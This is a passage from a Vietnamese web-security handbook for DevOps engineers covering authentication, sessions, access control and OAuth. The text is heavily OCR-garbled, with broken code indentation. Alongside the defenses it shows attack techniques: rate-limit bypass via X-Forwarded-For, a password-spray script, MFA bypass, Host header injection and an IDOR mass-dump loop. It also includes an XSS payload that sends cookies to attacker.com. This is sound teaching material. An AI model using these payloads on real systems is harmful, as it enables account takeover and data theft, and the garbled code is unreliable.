L6 héng authentication x4y ra khi: - Logic xac thuc bi 16i - Implementation sai spec - Thiéu rate limiting - Weak credentials dugc phép ton tai

I Cach hoat dong
Ba yéu t6 xac thyc (authentication factors):

¢ Something you know: Password, PIN, security questions
¢ Something you have: OTP device, authenticator app, hardware key

* Something you are: Fingerprint, face recognition, voice

MFA (Multi-Factor Authentication — Xac thuc da yéu t6) = két hgp >2 yéu t6.

I Cac loai 16 héng Authentication

1. Username Enumeration
Van dé: App tra vé thong bao khac nhau cho username ton tai va khong ton tai.

POST /login HTTP/1.1

username=valid_user&password=wrong

— Response: "Incorrect password" ~ username ton tai

username=invalid_user&password=wrong
- Response: "Username not found" ~ username khéng ton tai

Hacker c6 thé dung Intruder dé enumerate toan by username hgp 1é.
Cac dau hiéu leak username: - Response body khac nhau - HTTP status code khac nhau - Response time khac nhau (database lookup vs. instant reject)
Phong chéng:

"Username not found"

"Incorrect password"
v "Invalid credentials" « lu6n dung cung mdt message

2. Brute Force Password

Diéu kién khai thac: Khong cd rate limiting, khong c6 account lockout, password yéu.
Dung Burp Intruder:
POST /login

username=admin&password=8payload§

Wordlist: rockyou.txt (14 triéu passwords phd bién)

Bypass cac co ché bao vé:

Rate limiting by IP - Dung X-Forwarded-For header:
X-Forwarded-For: 1.2.3.4 (thay déi mdéi request)

Account lockout — Th&r nhiéu usernames (password spray):
Dung 1 password ph6é bién (Password123!) vdi nhiéu username khac nhau

CAPTCHA - Dung 2captcha.com API dé bypass tu dong

Vi du bypass rate limit bang header:
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POST /login HTTP/1.1
X-Forwarded-For: 81.2.3.84 ~ Intruder thay déi IP

username=admin&password=passwordi123

3. Broken Brute Force Protection

L6i logic dién hinh:
Scenario 1: Counter reset khi login thanh céng
-~ GUri request: wrong, wrong, correct - counter reset
-~ GUri: wrong, wrong, wrong (lai)...

- Bao gio¢ cling con 2 lan thi truéc khi lockout

Scenario 2: Lockout chi ap dung cho IP
- Dung nhiéu IP (botnet, proxy)

Scenario 3: Counter dém theo session
_ Tao session méi sau mdi vai lan tho
4. Flawed Multi-Factor Authentication
MFA Bypass qua URL manipulation:
Flow binh thuong:
1. POST /login - success - redirect /mfa-verify
2. POST /mfa-verify?code=123456 - success - redirect /dashboard
Bypass:
1. POST /login voi valid credentials

2. B6 qua /mfa-verify - truc tiép truy cap /dashboard
— NEu app chi kiém tra budc 1, MFA bi bypass

MFA Bypass qua Brute Force OTP:

Néu 6-digit OTP khong cé rate limiting:
C6 1,000,000 t6 hop — c6 thé brute force

Dung Intruder v6i payload 000000-999999

Bypass bang response manipulation:
POST /mfa-verify HTTP/1.1
code=000000
Response: {"success": false, "redirect": "/mfa-verify"}

- Stra response thanh:
{"success": true, "redirect": "/dashboard"}

- App doc response tir client va redirect

5. Flawed Password Reset
Email enumeration qua reset:

POST /forgot-password
email=victim@example.com
- "If this email exists, we'll send a reset link" « dung

Nhung mot sbé app:
—~ "Email sent!" ~ email to6n tai
- "Email not found" — email khong tén tai

Weak reset token:

Reset link: /reset?token=1234567890
- Token la timestamp? - predictable
- Token la MD5(email)? - crackable

~ Token qua ng&n? - brute force dugc

bung: Token 1la 32+ bytes cryptographically random
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Host Header Injection trong reset email:

POST /forgot-password HTTP/1.1
Host: attacker.com ~ thay dé6i

email=victim@example.

Email g&ri dén victim:
"Click here to reset: https://attacker.com/reset?token=abc123"

Victim click - token bi capture

6. Keeping Users Logged In — Remember Me
Weak remember-me token:

Token: base64(username + ":" + MD5(password))
— Decode dugc username
- Crack MD5 - c6 password

Token: base64("admin:el@adc3949ba59abbe56e057f201883e")
— Decode: admin:el@adc3949ba59abbe56e057f201883e
— MD5 crack: 123456

Phong chong: Token phai la random, khong chita thong tin user, lvu hash trong database.

I Vi du thwc té: Password Spray Attack

Tinh huéng: Cong ty c6 500 nhan vién, ding email lam username, khong cé lockout sau nhiéu lan thir sai.

.
# Script minh hoa (khdng dung trai phép)
usernames = ["userl@company.com", "user2@company.com", ...]
common_passwords = ["Company2024!", "welcomel!", "Password123!"]

for password in common_passwords:
for username in usernames:
response = login(username, password)
if response.status == 200:
print(f"Found: {username}:{password}")
time.sleep(1l) # Avoid rate limiting

I Kich ban tan cong: Bypass MFA
Target: Ung dung banking véi SMS OTP

. Attacker cé username/password cla victim (t& data breach)
POST /login - success - server send OTP dén phone victim
. Attacker khong cé6 OTP

Khai thac:

4. Attacker kiém tra: /dashboard c6 kiém tra session state khong?

5. Truy cap truc tiép /dashboard v6i session cookie tur budc 2
Néu app chi set "authenticated=true" sau login, chua set "mfa_verified=true"
MFA hoan toan bi bypass

| cach phat hien

Checklist nhan biét 16 hong authentication:

App tra vé message khac nhau cho valid/invalid username
Khéng c6 rate limiting (test: 100 requests lién tiép)
Khong c6 account lockout

CAPTCHA dé bypass ho&c khéng c6

MFA OTP khdng c6 expiry hoac rate limit

Reset password token predictable

Reset link dung Host header ti request

Remember-me token chtra théng tin user

Password policy qua yéu (khdéng c6 complexity requirement)
Default credentials chua d6i (admin/admin, admin/password)

OO0 O0OO0OO0OO0OoOooao
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| Phong chéng

Passwords

# Enforce strong password policy
def validate_password(password)
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[0-9]', password):
return False
if not re.search(r'[?a-zA-Z0-9]', password):
return False
return True

# Hash passwords véi bcrypt/argon2 (KHONG dung MD5/SHA1)
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

Rate Limiting va Lockout

# Rate limiting: max 5 lan th& / 15 phuat / IP+username
@app.route('/login', methods=['POST'])
def login():
key = f"login:{request.remote_addr}:{request.form['username']}"
attempts = redis.incr(key)

if attempts == 1:
redis.expire(key, 900) # 15 phut

if attempts > 5:
return jsonify({"error": "Too many attempts"}), 429

actual login logic

MFA duing cach

# Session state machine cho MFA
def login():
# Buéc 1: Verify credentials
if not verify_credentials(username, password):
return error("Invalid credentials")

# Set state: credentials verified, waiting for MFA
session['auth_state'] = 'awaiting_mfa'
session['pending_user_id'] = user.id

return redirect('/mfa-verify')

def mfa_verify():
# Kiém tra state trudc khi cho phép verify MFA
if session.get('auth_state') != 'awaiting_mfa':
return redirect('/login') # Khong bypass duogc

if verify_otp(session['pending_user_id'], request.form['code']):
session['auth_state'] = 'authenticated'
session['user_id'] = session.pop('pending_user_id')
return redirect('/dashboard")

Password Reset an toan

import secrets

def generate_reset_token()
# 32 bytes = 256-bit entropy
return secrets.token_urlsafe(32)

def forgot_password(email)
# Khong leak thong tin vé email ton tai hay khéng
user = User.find_by_email(email)
if user:
token = generate_reset_token()
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store_reset_token(user.id, token, expires_in=3600)
send_reset_email(user.email, token)

# Ludn trd vé cung respon

return {"message": "If this email exists, a reset link was sent"}

reset_password(token, new_passwo
# Dung nstant-time omparison dé tranh timing atta
user_id = get_user_by_ token(token)
if not user_id:
return error("Invalid token")

# Invalidate token sau khi dung
delete_reset_token(token)
update_password(user_id, new_password)

I Gé6c nhin DevOps
Cau hinh Nginx rate limiting:

# Rate limit login endpoint
limit_req_zone $binary_remote_addr zone=1 n:10m rate=5r/m;

location /api/login {
limit_req zone=login burst=10 nodelay;
limit_req_status 429;
proxy_pass http://backend;

Kubernetes: Khong hardcode credentials:
SAI: hardcode trong env

name: ADMIN_PASSWORD
value: "admin123"

DUNG: dung

name: ADMIN_PASSWORD
valueFrom:

secretKeyRef:
name: app-credentials
key: admin-password

Monitoring failed logins:

"

# Alertman r rule: nhiéu failed login = brute force attack
- alert: BruteForceDetected
expr: sum(rate(http_requests_total{path="/api/login", status="401"}[5m])) > 20
for: 2m
labels:
severity: warning
annotations:

summary: "Possible brute force on login endpoint"

Password manager cho team: - HashiCorp Vault cho service accounts - 1Password Teams / Bitwarden cho nhan vién - Khong bao gi¢ share password qua Slack/email

| Tom tit
o Authentication errors thuong do logic 16i, khong phai crypto phtc tap.
o Username enumeration la buwgc dau tién — dirng leak thong tin.
¢ Rate limiting va lockout 1a must-have, khong phai nice-to-have.
e MFA cén c6 session state machine — khong phai chi “néu c6 OTP thi pass”.
o Password reset token phai random, cé expiry, dung 1 lan.
o Hash passwords bang berypt/argon?2 véi salt, khong bao gio MD5/SHAL.
o Default credentials phai d6i ngay sau khi deploy.
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| cau hei on tap
1. Sy khac biét gilta username enumeration va brute force la gi? Tai sao ca hai déu nguy hiém?
2. M6 ta cach bypass MFA néu ttng dung khong c6 session state machine.
3. Tai sao MD5 khong phdi la cach hash password an toan? Nén dung gi thay thé?
4. Lam thé nao dé implement rate limiting cho login endpoint ma khéng anh hwéng dén UX?

5. Host Header Injection trong password reset hoat dong nhu thé nao?
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Chwong 5: Session Management — Quan ly phién

| khai niem
HTTP la stateless — server khong nh¢ ai da dang nhap. Session la co ché tao ra “trang thai” giita cac requests. Sau khi login, server tao mot session token (ma phién), gui
veé client qua cookie, va dung token dé dé xac dinh ngudi dung trong cac request tiép theo.

Mitc d6 nguy hiém: Cao — Danh cap session = chiém quyén tai khoan ma khéng can password.

I Cach hoat dong

. User POST /login véi credentials
. Server xac thuc, tao session:
session_id = generate_random_token()

store_in_db(session_id, user_id, expires_at)
. Server gui cookie:

Set-Cookie: session=session_id; HttpOnly; Secure; SameSite=Strict
. Cac request tiép theo:

Cookie: session=session_id

Server lookup session_id trong DB - biét day la user nao

I Session Token — Yéu cau bao mat

Mot session token t6t phai dam béo:
« Entropy cao: it nhat 128 bits random, khong doan dugc
¢ Unique: Khong bao gio reuse
¢ Khong chira thong tin: Khong encode user_id vao token

o Co expiry: Ty hét han sau thoi gian nhat dinh

Invalidated khi logout: Xdéa & server-side

Vi du token xau:

session=user_id_1337 ~ chta user ID
5essi1on=1609459200_admin ~ timestamp + username
session=el0adc3949ba59abbe56e057f20f883e .~ MD5 cla password
session=00001338 ~ sequential, predictable

Vi du token tét:

session=kX9mP2nQ4rT7vY1zA3bC6eF8hJOIM50R ~ 32 bytes random

I Cac loai tan cong Session

1. Session Hijacking (Panh cép phién)
Hacker danh cép session token ctia nguoi dung hop 1é.
Cach danh cap:
a. XSS: Inject script dé doc cookie
document.cookie - 1ldy session token

(Ng&n chan bang HttpoOnly)

. Network sniffing: Poc traffic qua HTTP (khdng HTTPS)
(Ng&n chan bang Secure cookie + HTTPS)

Log files: Token trong URL bi log

GET /app?session=abc123

- Apache/Nginx log luu token trong plaintext
(Ngan chan bang khong dé token trong URL)
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d. Man-in-the-Middle: Intercept traffic
(Ngan chan bang HTTPS + HSTS)

2. Session Fixation (C6 dinh phién)
Hacker ép victim dung session token do hacker kiém soat.

Kich ban:

Hacker tao session: GET /login - session=HACKER_TOKEN
Hacker gti link cho victim:
https://example.com/login?session=HACKER_TOKEN

. Victim dang nhap véi token doé

. Server upgrade token nhung KHONG d6i session ID
- Hacker va victim dung cung session ID
Hacker dung HACKER_TOKEN - da c6 quyén cla victim

Phong chong: Ludn tao session ID mdi sau khi login thanh cong.

.
def login():
if verify_credentials(username, password):

# X6a session cili, tao session méi
session.clear()
new_session_id = generate_secure_token()
session['user_id'] = user.id
# Flask tu dong gan session ID méi
return redirect('/dashboard')

3. Weak Session Tokens — Token Yéu
Sequential tokens:

User 1: session=1000
User 2: session=1001
User 3: session=1002
- Hacker c6 session=1001, th&r 1600, 1002, 1003...

Predictable tokens:

# SAI: dung timestamp lam token
import time
token = str(int(time.time())) # "1609459200" - predictable

# DUNG: dung secrets module
import secrets
token = secrets.token_hex(32) # 64-char hex string, 256-bit entropy

PHP session weakness:

// PHP's session_id() dung MD5(IP + timestamp) trong phién ban cii
// - predictable néu biét IP va thoi gian login

// Dung session_regenerate_id(true) sau login
session_start();
if (login_success) {
session_regenerate_id(true); // Tao ID méi, xo6a ID ci
$_SESSION[ 'user_id'] = $user_id;

4, Session Cookie Theft qua XSS

e

// Payload XSS dé danh c&p cookie
<script>

fetch('https://attacker.com/steal?cookie="' + document.cookie);
</script>

// Néu HttpOnly: cookie khdng doc duogc
// Nhung CSRF van hoat doéng vi browser tu glri cookie

5. CSRF — Lién quan Session

CSREF lgi dung viéc browser tw dong giti cookie trong moi request. Chi tiét @ Chuong 10.
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| cookie Attributes chi tiét
HttpOnly

Set-Cookie: session=abc123; HttpOnly

e JavaScript khong doc dugc cookie ( document.cookie khdng tra vé)
e Ngan XSS danh cap session cookie

o Cookie van ty dong gtii kem request

Secure

Set-Cookie: session=abc123; Secure

e Cookie chi gtti qua HTTPS
o Néu user truy cdp qua HTTP (bi redirect), cookie khong bi gtri
¢ Phong chong MITM va network sniffing

SameSite

Set-Cookie: session=abc123; SameSite=Strict

Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure

Gia tri Cookie gwi khi Use case

Strict Chi same-site requests Bao mat cao nhat, UX han ché
Lax Same-site + top-level navigation Can bang UX va security

None Tat ca (ké ca cross-site) Third-party cookies, can Secure

SameSite=Lax va CSRF:

V&i SameSite=Lax, cookie gtri khi:
v User click link: <a href="https://bank.com/transfer"> - cookie guri
v Top-level navigation

Nhung KHONG g&i khi:

X Cross-site POST form
X Fetch/XHR requests
x Iframe loads

- Chéng duoc CSRF qua hidden form, nhung khong chéng duoc qua link click

Domain va Path

Set-Cookie: session=abc123; Domain=.example.com; Path=/

e Domain=.example.com : cookie ap dung cho tat ca subdomain

e Path=/: cookie gui cho tit ca paths

o Néu khong set Domain: chi dp dung cho domain hién tai (an toan hon)

I Session Timeout va Invalidation

Absolute Timeout

Session hét han sau thai gian tuyét d6i, du user dang active:

"

SESSION_LIFETIME = 3600 # 1 gio
session['created at'] = time.time()

def check_session():

if time.time() - session['created_at'] > SESSION_LIFETIME:
session.clear()

return False
return True
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Idle Timeout

Session hét han sau thoi gian khong hoat dong:

r

SESSION_IDLE_TIMEOUT = 900 # 15 phut

def update_activity():
session['last_active'] = time.time()

def check_idle():
if time.time() - session.get('last_active', ©) > SESSION_IDLE_TIMEOUT:
session.clear()
return False
return True

Logout diing cach
# SAI: chi xd6a cookie phia client
def logout():
response = redirect('/login')
response.delete_cookie('session') # Cookie bi x6a & browser
return response # Nhung server-side session van valid!

# DUNGZ x6a cad server-side session
def logout():
session_id = request.cookies.get('session')
if session_id:
delete_session_from_db(session_id) # Xo6a server-side
session.clear()
response = redirect('/login')
response.delete_cookie( 'session')
return response

I JWT vs. Server-Side Sessions

DPac diém Server-Side Session JWT

Luu tri Server (DB/Redis) Client (cookie/localStorage)
Invalidation Dé (x6a tir DB) Kho (can blacklist)
Scalability Can shared storage Stateless

Security Phu thudc vao token Phu thudc vao signature

Size Token nho (ID only) Token 16n (chita payload)

JWT c6 nhiéu gotchas vé security — xem Chuong 8.

I Vi du thuwc té: Phan tich session security

-

# Kiém tra cookie attributes qua curl
curl -I https://example.com/login -c cookies.txt

# Response headers:
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax

Kiém tra:
HttpOnly - XSS khdng danh cap duoc
/ Secure - chi HTTPS
SameSite=Lax - giam CSRF risk
Khoéng cé Expires - session cookie, x6a khi déng tab
Khong c6 Max-Age - khong c6 idle timeout & cookie level

. Victim dang nhap bank.com - c6 cookie: session=VICTIM_TOKEN

. Victim vao mot trang web doc hai

. Trang doc hai co6:
<img src="https://bank.com/api/transfer?to=hacker&amount=1000">
Browser tu dong giri request véi VICTIM_TOKEN
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5. Bank khdng c6 CSRF protection - transfer thanh cdng

Néu cookie c6 SameSite=Strict:
- Browser khong g&ri cookie véi cross-site img load
- Transfer that bai - hacker that bai

Cach phat hién

Session token predictable hodac sequential

Session token khong thay déi sau login (session fixation risk)

Session token khéng thay déi sau privilege escalation

Cookie thiéu HttpOnly - test: document.cookie trong console

Cookie thiéu Secure - test qua HTTP

Cookie khong c6 SameSite - CSRF risk cao

Logout khong invalidate server-side session

Session khdng expire sau idle period

Multiple sessions allowed cung luc (khdéng cé concurrent session control)

Phong chong — Checklist

# 1. Generate cryptographically random token
import secrets
session_id = secrets.token_urlsafe(32)

# 2. Set cookie attributes day du
response.set_cookie(
'session',
session_id,
httponly=True,
secure=True,
samesite="'Strict',
max_age=3600,
path="/"

Regenerate session ID sau login
after_login(user):

old_data = dict(session)
session.clear()
session.regenerate() # Tao ID moi
session.update(old_data)
session['user_id'] = user.id

Invalidate server-side khi logout
logout():
db.sessions.delete(session.id)
session.clear()

Check session validity moi request

before_request():

session_id = request.cookies.get('session')

if not db.sessions.get(session_id):
abort(401)

I Go6c nhin DevOps

Redis-backed sessions (scalable):

"

# Flask-Session v6i Redis backend
from flask_session import Session
import redis

app.config[ 'SESSION_TYPE'] = 'redis

app.config[ 'SESSION_REDIS'] = redis.from_url('redis://redis:6379")
app.config[ 'PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)
Session(app)

Kubernetes: Session affinity khi can:

.
# Ingress voi session affinity (chi khi dung server-side session)
apiVersion: networking.k8s.io/v1
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kind: Ingress
metadata:

annotations:

nginx.ingress.kubernetes.io/affinity: "cookie"
nginx.ingress.kubernetes.io/session-cookie-name: "INGRESSCOOKIE"
nginx.ingress.kubernetes.io/session-cookie-max-age: "3600"

Logging va monitoring:

Log cac su kién:

- Login thanh cong/that bai (véi IP, user-agent)
- Logout

- Session expiry

- Cung session t&r nhiéu IP khac nhau - suspicious

- Nhiéu sessions cla mot user cung luc - suspicious

Alert khi:
- Session t&r IP méi sau login - account takeover attempt
- Login tir geo-location khac trong thoi gian ngdn - impossible travel

Tém tat

* Session la cau néi giita stateless HTTP va stateful application.

¢ Session token phai: random, c6 entropy cao, unique, c6 expiry, invalidated khi logout.

HttpOnly ngan XSS doc cookie; Secure ngan sniffing; SameSite ngan CSRF.
¢ Session fixation: ludn tao session ID mdi sau login.

o Server-side invalidation khi logout — khong chi xéa cookie phia client.

o Idle timeout va absolute timeout déu can thiét.

¢ Dung Redis cho session storage trong mdi trudng distributed.

Cau héi 6n tap

1. Su khac nhau giira session hijacking va session fixation la gi?

2. Taisao logout() chixda cookie phia client la khong da?

3. Cookie sameSite=Lax bao vé khoi CSRF nhw thé nao? Va khong bao vé khoi gi?
4. Khi nao nén dung server-side sessions thay vi JWT? Trade-off la gi?

5. Lam thé nao dé phat hién session tir [P “khong thé xdy ra” (impossible travel)?

file:///home/tung/Desktop/documents/tmp/postswigger/web-security-devops.html 36/151



6/6/26, 1:13 PM Web Security cho DevOps Engineer

Chwong 6: Access Control — Kiém soat truy cap

| khai niem
Access Control (Kiém soét truy cap) 1a co ché quyét dinh ai dugc lam gi trong hé théng. Day 1a 16 héng s6 1 trong OWASP Top 10 2021 (A01: Broken Access Control).
Mitc do nguy hiém: Rét cao — Broken access control cho phép hacker truy cap dit liéu/chitc nang khong thugc vé ho.

Ba thanh phan lién két: - Authentication: Ban la ai? - Session Management: Theo doi ban qua céc requests - Access Control: Ban dugc phép lam gi?

I Phan loai Access Control

Vertical Access Control (Phan quyén doc)
Gi6i han chitc nang theo role (vai tro):

Admin tdt ca chlic nang
Manager quan ly user, xem reports

User chi profile clia minh
Guest xem public content

L6 hong: Vertical Privilege Escalation — user thuong truy cap dwgc chic ning admin.

Horizontal Access Control (Phan quyén ngang)

Gidi han truy cap vao dir liéu theo owner:

User A - chi xem account clia User A

User B - chi xem account cla User B
L6 hong: Horizontal Privilege Escalation (IDOR) — User A xem dugc dif liéu ctia User B.
Context-Dependent Access Control

Gidi han theo trang thai/ngit canh:

Khéong cho phép slra cart sau khi da thanh toan

Khong cho phép hly order sau khi da ship

I IDOR — Insecure Direct Object Reference
IDOR (Insecure Direct Object Reference — Tham chiéu Déi twgng tryc tiép khéng an toan) la 16 hong phé bién nhat trong access control.

Xay ra khi app dung user-supplied input dé truy cap object truc tiép ma khong kiém tra quyén.

Vi du IDOR co ban

GET /api/users/profile?userId=1337 HTTP/1.1
Authorization: Bearer <token_of_user_1337>

Response: {"id": 1337, "name": "Alice", "email": "alice@example.com"}

Hacker thay doi userld:

GET /api/users/profile?userId=1 HTTP/1.1
Authorization: Bearer <token_of_user_1337>

Response: {"id": 1, "name": "Admin", "email": "admin@example.com"}

Khéng c6 kiém tra “user 1337 ¢ quyén xem profile ctia user 1 khong?” — IDOR.

IDOR trong cac dang khac

IDOR trong path:
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GET /api/orders/ORD-001234
— th&: GET /api/orders/ORD-000001

IDOR trong POST body:

POST /api/update-profile
{"userId": 1337, "email": "new@email.com"}
» thay: {"userId": 1, "email": "hacked@email.com"}

;

IDOR trong file download:

GET /download?file=invoice_1337.pdf
-~ th&: GET /download?file=invoice_1.pdf

IDOR qua Indirect Reference:
GET /api/messages?thread=abc123
-~ Néu thread ID predictable hoac enumerable
IDOR vé&i UUID — Khong phai silver bullet
UUID: 550e8400-e29b-41d4-a716-446655440000
- Random, khéng doan duoc

- Nhung néu server van khong check ownership - van IDOR!

Test: Chia sé UUID cla resource cla ban véi account khac
— Néu account khac truy cap dugc - IDOR du dung UUID

I Vertical Privilege Escalation

Unprotected Admin Functions
Admin panel tai: /admin
- Khong cé authentication check

-~ Chi "&n" khoi navigation menu
— Hacker biét URL - access ngay

Tim hidden endpoints:

# Dung feroxbuster/ffuf dé brute force paths
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u https://example.com/FUZZ \
-mc 200,301,302,403

# Xem robots.txt - thuong tiét 10 admin paths
curl https://example.com/robots.txt

# Xem JavaScript source - thudong chita API endpoints

grep -r "admin\|dashboard\|internal" static/js/
meter Tampering

GET /account?role=user HTTP/1.1

— Thtt: GET /account?role=admin HTTP/1.1

POST /login HTTP/1.1
{"username": "alice", "password": "pass123"}

Response: {"userId": 1337, "role": "user", "token": "..."}

— Néu app tin vao role trong response ma khong verify server-side
- Slra role=admin trong subsequent requests

Platform Misconfiguration

Mot so framework cho phép restrict theo HTTP method:
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// Sai: restrict GET nhung khong restrict POST
@GetMapping("/admin/users")
@PreAuthorize("hasRole('ADMIN')")

public List<User> getUsers() { ... }

// Admin function ciling accessible qua:
POST /admin/users ~ khéng cé annotation - khdéng bi restrict!

GET /admin/users HTTP/1.1
- 403 Forbidden

GET /users HTTP/1.1
X-0riginal-URL: /admin/users ~ mot s6 framework override path

-~ 200 OK - access bypassed!

Broken Access Control qua HTTP Method Override

POST /api/delete-user HTTP/1.1
X-HTTP-Method-Override: DELETE

— Mot sb servers map POST + X-HTTP-Method-Override — DELETE
- Bypass firewall rules chi block DELETE

Kich ban tan c6ng: IDOR Mass Account Takeover

Target: e-commerce site vdi 100,000 accounts

. Login véi account hacker (ID: 50000)

. Request profile: GET /api/profile?id=50000

. Thay id: GET /api/profile?id=50001 - thanh coéng!
. Viét script:

for id in range(1, 100001)
response = requests.get(f"/api/profile?id={id}",
cookies={"session": hacker_session})
save_profile_data(response.json())

5. Dump toan bo 100,000 profiles bao gém email, phone, address
6. Ban data breach hoac dung dé phishing

Cach phat hién

Thay d6i ID trong URL/parameters - truy cap dugc resource nguoi khac?
X6a/thay déi Authorization header - van cé response?

Thay d6i role/admin parameter - c6 thay d6i quyén khoéng?

Access admin URL truc tiép khi logged in vé&i user thuong

Thi methods khac (POST/PUT/DELETE) trén endpoint chi allow GET

Thém X-Original-URL, X-Rewrite-URL, X-Forwarded-For headers

Th&t path véi trailing slash, uppercase, encoded chars

Robots.txt, sitemap.xml c6 tiét 16 hidden paths khong?

JavaScript source c6 chtra admin endpoints khong?

Tool hitu ich: - Autorize (Burp extension): Ty dong replay moi request vdi session cta user khac dé detect IDOR - 403 Bypasser (Burp extension): Ty dong thtt bypass 403

1. Server-Side Authorization Check

# SAIL: tin vao user-supplied ID
@app.route('/api/profile')
def get_profile()
user_id = request.args.get('userId') # T client
return db.get_user(user_id)

# BUNG: dung ID tir session (server-controlled)
@app.route('/api/profile')
@login_required
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def get_profile()
user_id = g.current_user.id # TU server-side session
return db.get_user(user_id)

# DUNG: néu can user specify ID, luén check ownership
@app.route('/api/orders/<int:order_id>")
@login_required
def get_order(order_id):

order = db.get_order(order_id)

if order.user_id != g.current_user.id:

abort(403) # Forbidden
return order

2. Deny by Default

.
# Middleware check access cho moi request
def check_access(resource_type, resource_id, action)
user = g.current_user

# Default: deny
if not has_permission(user, resource_type, resource_id, action):
abort(403)

# Ap dung cho tdt ca routes
@app.before_request
def enforce_access_control():
if is_protected_endpoint(request.endpoint):
resource = get_resource_from_request()
check_access(resource.type, resource.id, request.method)

3. RBAC (Role-Based Access Control)

"

PERMISSIONS = {
'admin': ['users:read', 'users:write', 'orders:read', 'orders:write'],
'manager': ['orders:read', 'orders:write'],
'user': ['profile:read', 'profile:write', 'orders:read'],

def has_permission(user, permission)
return permission in PERMISSIONS.get(user.role, [])

@app.route('/api/users')
@require_permission('users:read')
def list_users():

return db.get_all_users()

4. Indirect Reference Maps

Thay vi expose database ID tryc tiép, dung mot mapping:

# MO1i user c6 mapping riéng cla ho
user_resource_map = {
'order_1': 'db_order_id_1337"',
'order_2': 'db_order_id_1338"'

# User chi thay reference key cla riéng ho
GET /api/orders/order_1 - mapped to actual order 1337 cla user doé

I Go6c nhin DevOps

Kubernetes RBAC — khéng lién quan dén Web RBAC nhung tv duy twong tu:

.
# Least privilege: chi doc pods trong namespace cu thé
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:

name: pod-reader
namespace: production
rules:
- apiGroups: [""]
resources: ["pods"]
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["get", "list"

N

t

API Gateway — Enforce access control ¢ gateway level:

r

# Kong Ge ay: restrict endpoint theo role
plugins:
- name: acl
config:
allow:
- admin-group
hide_groups_header: true

;

Audit Logging — Ghi lai ai truy cap gi:
.
# Mol ¢ vao sensitive resource déu can log
def audit_log(user, action, resource, status):
logger.info({
"timestamp": datetime.utcnow().isoformat(),
"user_id": user.id,
"username": user.email,
"action": action,
"resource": resource,
"status": status,
"ip": request.remote_addr,
"user_agent": request.user_agent.string

pattern bat thudng
1000 profiles trong 60 giay - IDOR attempt

CI/CD Security Gate:

# GitHub Actions: chay T test dé detect IDOR
- name: Run IDOR Tests
run: |
# Test vOoi hai accounts khac nhau

python tests/security/test_access_control.py \
--userl-token $USER1_TOKEN \
--user2-token $USER2_TOKEN

| T6m tat
o Broken Access Control 1a 16 héng #1 OWASP — pho bién va nguy hiém.
¢ IDOR: user truy cap resource cua user khac bang cach thay ID — kiém tra ownership moi ldc.
¢ Vertical escalation: user thuong truy cap chitc nang admin.
¢ Ludn implement access control & server-side, khong tin client.
¢ Deny by default: néu khéng c6 permission explicit — tir choi.
o Dung RBAC dé quén ly quyén c6 hé thong.
¢ Audit log moi access vao sensitive resources.

o Dung Autorize extension dé test access control ty dong.

| cau heion tap
1. IDOR la gi va tai sao dung UUID thay vi integer ID khong tu dong phong chéng IDOR?
2. Sy khéc biét gitta horizontal va vertical privilege escalation la gi?
3. Tai sao “deny by default” la nguyén tdc quan trong hon “allow by default”?
4. Lam thé nao dé dung Burp Suite Autorize dé test access control tw dong?

5. M6 ta cach implement RBAC don gian trong mot REST API.
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Chwong 7: OAuth 2.0

| khai niem

OAuth 2.0 la framework iy quyén (authorization framework) cho phép ng dung thit ba truy cap tai nguyén ctia ngwdi dung ma khong can biét password cta ho.
Mitc do nguy hiém: Cao — Misconfigured OAuth = account takeover khong can password.

Vi du quen thudc: “Pang nhap bang Google/GitHub/Facebook”. Ban cho phép app dé doc email/profile ma khong chia sé password Gmail/GitHub.

Ba bén tham gia: - Resource Owner: User (ban) - Client: Ung dung thit ba muén truy cap - Authorization Server / Resource Server: Google, GitHub, Facebook

| oAuth 2.0 Flows

Authorization Code Flow (Ph6 bién nhéit, an toan nhat)

Client App Auth Server Resource Server
\ \ |

Click Login | |
>| \
| —— Redirect —»|

|  /authorize?

client_id=

redirect_u

\

\

| response_type=
|  code

|  state=RANDOM

\
\
\
\
\
\
] \
\
S

Login page

User logins + grants consent
B —
Redirect to: client.com/callback?code=AUTH_CODE
| — POST /token —»|
|  code=AUTH_CODE |
| client_secret |
|« access_token —|
| GET /userinfo ——
|« user data

Key parameters: - client_id : ID cta app da dang ky - redirect_uri: URL callback sau khi authorize - response_type=code : Yéu cau authorization code - scope :

Quyén muodn xin (email, profile, read:repo) - state : Random token chéng CSRF

Implicit Flow (Deprecated — Khong nén dung)

Truc tiép trad vé access_token trong URL fragment:
redirect_uri?access_token=TOKEN&token_type=Bearer

— Token bi 16 trong browser history, logs, Referer header
- Da bi deprecated trong OAuth 2.1

PKCE (Proof Key for Code Exchange) — Mobile/SPA
Cho native apps va SPAs khéng thé bao vé client_secret:

. App generate:
code_verifier = random_string(43-128 chars)
code_challenge = base64url(SHA256(code_verifier))

. /authorize request thém:
code_challenge=<challenge>
code_challenge_method=S256

. Token exchange thém:
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cod erifier=<verifier>
(Server verify: SHA256(verifier) == challenge)

I Cac 16 héng OAuth phé bién

1. Missing State Parameter — CSRF Attack
State 1a random token dugc tao bdi client, gii kém request, va verify khi nhan callback.
Néu khong cé state parameter:

1. Hacker tao authorization URL cda hén:
/authorize?client_id=appé&redirect_uri=https://app.com/callback

Hacker click URL - Auth Server redirect dén hacker's URI
~ hacker nhan auth_code NHUNG KHONG DUNG

Hacker tao link cho victim véi auth_code cta hén:
https://app.com/callback?code=HACKER_CODE

. Victim (dang login app.com) click link
- app.com exchange HACKER_CODE - 1ldy access_token cla hacker
- Victim's app account gi¢ duwoc link véi hacker's social account
- Hacker login vao app.com bdng social account cla han
Hacker vao account cla victim!

Phong chong:
# 1. Generate state khi tao authorization URL
import secrets

state = secrets.token_urlsafe(32)
session['oauth_state'] = state

auth_url = f"{AUTH_URL}?client_id={CLIENT_ID}&state={state}&..."
return redirect(auth_url)

# 2. Verify state trong callback
@app.route('/callback')
def oauth_callback():
received_state = request.args.get('state')
expected_state = session.get('oauth_state')

if not received_state or received_state != expected_state:
abort(400, "State mismatch — possible CSRF")

# Proceed with code exchange

2. Flawed redirect_uri Validation

